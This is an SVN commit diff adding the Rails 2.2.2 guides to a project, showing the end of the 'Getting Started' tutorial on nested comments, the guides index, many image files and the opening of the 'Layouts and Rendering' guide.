+$ rake db:migrate
+-------------------------------------------------------
+
+Rails is smart enough to only execute the migrations that have not already been run against this particular database.
+
+=== Associating Models
+
+Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
+
+* Each comment belongs to one post
+* One post can have many comments
+
+In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
+
+[source, ruby]
+-------------------------------------------------------
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+-------------------------------------------------------
+
+You'll need to edit the +post.rb+ file to add the other side of the association:
+
+[source, ruby]
+-------------------------------------------------------
+class Post < ActiveRecord::Base
+  validates_presence_of :name, :title
+  validates_length_of :title, :minimum => 5
+  has_many :comments
+end
+-------------------------------------------------------
+
+These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable + at post+ containing a post, you can retrieve all the comments belonging to that post as the array + at post.comments+.
+
+TIP: For more information on Active Record associations, see the link:../association_basics.html[Active Record Associations] guide.
+
+=== Adding a Route
+
+_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+. Then edit it as follows:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :posts do |post|
+  post.resources :comments
+end
+-------------------------------------------------------
+
+This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments.
+
+TIP: For more information on routing, see the link:../routing_outside_in[Rails Routing from the Outside In] guide.
+
+=== Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
+
+[source, shell]
+-------------------------------------------------------
+$ script/generate controller Comments index show new edit
+-------------------------------------------------------
+
+This creates seven files:
+
+* +app/controllers/comments_controller.rb+ - The controller
+* +app/helpers/comments_helper.rb+ - A view helper file
+* +app/views/comments/index.html.erb+ - The view for the index action
+* +app/views/comments/show.html.erb+ - The view for the show action
+* +app/views/comments/new.html.erb+ - The view for the new action
+* +app/views/comments/edit.html.erb+ - The view for the edit action
+* +test/functional/comments_controller_test.rb+ - The functional tests for the controller
+
+The controller will be generated with empty methods for each action that you specified in the call to +script/generate controller+:
+
+[source, ruby]
+-------------------------------------------------------
+class CommentsController < ApplicationController
+  def index
+  end
+
+  def show
+  end
+
+  def new
+  end
+
+  def edit
+  end
+
+end
+-------------------------------------------------------
+
+You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
+
+[source, ruby]
+-------------------------------------------------------
+class CommentsController < ApplicationController
+  def index
+    @post = Post.find(params[:post_id])
+    @comments = @post.comments
+  end
+
+  def show
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+  end
+
+  def new
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.build
+  end
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.build(params[:comment])
+    if @comment.save
+      redirect_to post_comment_path(@post, @comment)
+    else
+      render :action => "new"
+    end
+  end
+  
+  def edit
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+    if @comment.update_attributes(params[:comment])
+      redirect_to post_comment_path(@post, @comment)
+    else
+      render :action => "edit"
+    end
+  end
+  
+end
+-------------------------------------------------------
+
+You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
+
+In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls
+
+[source, ruby]
+-------------------------------------------------------
+ at comment = @post.comments.build
+-------------------------------------------------------
+
+This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation.
+
+=== Building Views
+
+Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
+
+The +index.html.erb+ view:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Comments for <%= @post.title %></h1>
+
+<table>
+  <tr>
+    <th>Commenter</th>
+    <th>Body</th>
+  </tr>
+
+<% for comment in @comments %>
+  <tr>
+    <td><%=h comment.commenter %></td>
+    <td><%=h comment.body %></td>
+    <td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
+    <td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td>
+    <td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %></td>
+  </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to 'New comment', new_post_comment_path(@post) %>
+<%= link_to 'Back to Post', @post %>
+-------------------------------------------------------
+
+The +new.html.erb+ view:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>New comment</h1>
+
+<% form_for([@post, @comment]) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', post_comments_path(@post) %>
+-------------------------------------------------------
+
+The +show.html.erb+ view:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Comment on <%= @post.title %></h1>
+
+<p>
+  <b>Commenter:</b>
+  <%=h @comment.commenter %>
+</p>
+
+<p>
+  <b>Comment:</b>
+  <%=h @comment.body %>
+</p>
+
+<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
+<%= link_to 'Back', post_comments_path(@post) %>
+-------------------------------------------------------
+
+The +edit.html.erb+ view:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Editing comment</h1>
+
+<% form_for([@post, @comment]) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit "Update" %>
+  </p>
+<% end %>
+
+<%= link_to 'Show', post_comment_path(@post, @comment) %> |
+<%= link_to 'Back', post_comments_path(@post) %>
+-------------------------------------------------------
+
+Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.
+
+=== Hooking Comments to Posts
+
+As a final step, I'll modify the +show.html.erb+ view for a post to show the comments on that post, and to allow managing those comments:
+
+[source, ruby]
+-------------------------------------------------------
+<p>
+  <b>Name:</b>
+  <%=h @post.name %>
+</p>
+
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+<p>
+  <b>Content:</b>
+  <%=h @post.content %>
+</p>
+
+<h2>Comments</h2>
+<% @post.comments.each do |c| %>
+	<p>
+	  <b>Commenter:</b>
+	  <%=h c.commenter %>
+	</p>
+
+	<p>
+	  <b>Comment:</b>
+	  <%=h c.body %>
+	</p>
+<% end %>
+
+<%= link_to 'Edit', edit_post_path(@post) %> |
+<%= link_to 'Back', posts_path %>
+<%= link_to 'Manage Comments', post_comments_path(@post) %>
+-------------------------------------------------------
+
+Note that each post has its own individual comments collection, accessible as + at post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+.
+
+== What's Next?
+
+Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
+
+* The link:http://manuals.rubyonrails.org/[Ruby On Rails guides]
+* The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list]
+* The #rubyonrails channel on irc.freenode.net
+* The link:http://wiki.rubyonrails.org/rails[Rails wiki]
+
+Rails also comes with built-in help that you can generate using the rake command-line utility:
+
+* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
+* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket]
+
+* November 3, 2008: Formatting patch from Dave Rothlisberger
+* November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy]
+* October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* October 13, 2008: First complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* October 12, 2008: More detail, rearrangement, editing by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* September 8, 2008: initial version by James Miller (not yet approved for publication)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/belongs_to.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/belongs_to.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/bullet.gif
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/bullet.gif
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/csrf.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/csrf.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/habtm.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/habtm.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_many.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_many.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_many_through.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_many_through.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_one.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_one.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_one_through.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/has_one_through.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/header_backdrop.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/header_backdrop.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
+icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
+
+Stuart Rackham

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/1.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/1.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/10.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/10.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/11.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/11.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/12.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/12.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/13.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/13.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/14.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/14.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/15.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/15.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/2.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/2.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/3.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/3.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/4.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/4.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/5.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/5.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/6.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/6.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/7.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/7.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/8.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/8.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/9.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts/9.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/caution.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/caution.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/example.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/example.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/home.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/home.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/important.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/important.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/next.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/next.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/note.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/note.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/prev.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/prev.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/tip.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/tip.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/up.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/up.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/warning.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/warning.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/polymorphic.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/polymorphic.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/rails_logo_remix.gif
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/rails_logo_remix.gif
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/session_fixation.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/session_fixation.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/index.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/index.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/index.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,118 @@
+Ruby on Rails guides
+====================
+
+WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress.
+
+CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
+
+++++++++++++++++++++++++++++++++++++++
+<h2>Start Here</h2>
+++++++++++++++++++++++++++++++++++++++
+
+.link:getting_started_with_rails.html[Getting Started with Rails]
+***********************************************************
+Everything you need to know to install Rails and create your first application.
+***********************************************************
+
+++++++++++++++++++++++++++++++++++++++
+<h2>Models</h2>
+++++++++++++++++++++++++++++++++++++++
+
+.link:migrations.html[Rails Database Migrations]
+***********************************************************
+This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+***********************************************************
+
+.link:association_basics.html[Active Record Associations]
+***********************************************************
+This guide covers all the associations provided by Active Record.
+***********************************************************
+
+.link:finders.html[Active Record Finders]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket]
+
+This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.
+***********************************************************
+
+++++++++++++++++++++++++++++++++++++++
+<h2>Views</h2>
+++++++++++++++++++++++++++++++++++++++
+
+.link:layouts_and_rendering.html[Layouts and Rendering in Rails]
+***********************************************************
+This guide covers the basic layout features of Action Controller and Action View,
+including rendering and redirecting, using +content_for+ blocks, and working
+with partials.
+***********************************************************
+
+.link:form_helpers.html[Action View Form Helpers]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket]
+
+Guide to using built in Form helpers.
+***********************************************************
+
+++++++++++++++++++++++++++++++++++++++
+<h2>Controllers</h2>
+++++++++++++++++++++++++++++++++++++++
+
+.link:routing_outside_in.html[Rails Routing from the Outside In]
+***********************************************************
+This guide covers the user-facing features of Rails routing. If you want to 
+understand how to use routing in your own Rails applications, start here.
+***********************************************************
+
+.link:actioncontroller_basics.html[Basics of Action Controller]
+***********************************************************
+This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+***********************************************************
+
+.link:caching_with_rails.html[Rails Caching]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket]
+
+This guide covers the three types of caching that Rails provides by default.
+***********************************************************
+
+++++++++++++++++++++++++++++++++++++++
+<h2>Digging Deeper</h2>
+++++++++++++++++++++++++++++++++++++++
+
+.link:testing_rails_applications.html[Testing Rails Applications]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket]
+
+This is a rather comprehensive guide to doing both unit and functional tests
+in Rails. It covers everything from ``What is a test?'' to the testing APIs.
+Enjoy.
+***********************************************************
+
+.link:security.html[Securing Rails Applications]
+***********************************************************
+This guide describes common security problems in web applications and how to
+avoid them with Rails.
+***********************************************************
+
+.link:debugging_rails_applications.html[Debugging Rails Applications]
+***********************************************************
+This guide describes how to debug Rails applications. It covers the different
+ways of achieving this and how to understand what is happening "behind the scenes"
+of your code.
+***********************************************************
+
+.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket]
+
+This guide covers ways to analyze and optimize your running Rails code.
+***********************************************************
+
+.link:creating_plugins.html[The Basics of Creating Rails Plugins]
+***********************************************************
+This guide covers how to build a plugin to extend the functionality of Rails.
+***********************************************************
+
+Authors who have contributed to complete guides are listed link:authors.html[here].
+
+This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0  License]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/layouts_and_rendering.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/layouts_and_rendering.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/layouts_and_rendering.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,982 @@
+Layouts and Rendering in Rails
+==============================
+
+This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
+
+* Use the various rendering methods built in to Rails
+* Create layouts with multiple content sections
+* Use partials to DRY up your views
+
+== Overview: How the Pieces Fit Together
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+== Creating Responses
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call +render+ to create a full response to send back to the browser
+* Call +redirect_to+ to send an HTTP redirect status code to the browser
+* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
+
+I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
+
+=== Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class:
+
+[source, ruby]
+-------------------------------------------------------
+def show
+  @book = Book.find(params[:id])
+end
+-------------------------------------------------------
+
+Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
+
+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
+
+=== Using +render+
+
+In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
+
+==== Rendering Nothing
+
+Perhaps the simplest thing you can do with +render+ is to render nothing at all:
+
+[source, ruby]
+-------------------------------------------------------
+render :nothing => true
+-------------------------------------------------------
+
+This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
+
+TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+==== Using +render+ with +:action+
+
+If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the +:action+ option:
+
+[source, ruby]
+-------------------------------------------------------
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render :action => "edit"
+    end
+  end
+end
+-------------------------------------------------------
+
+If the call to +update_attributes_ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+
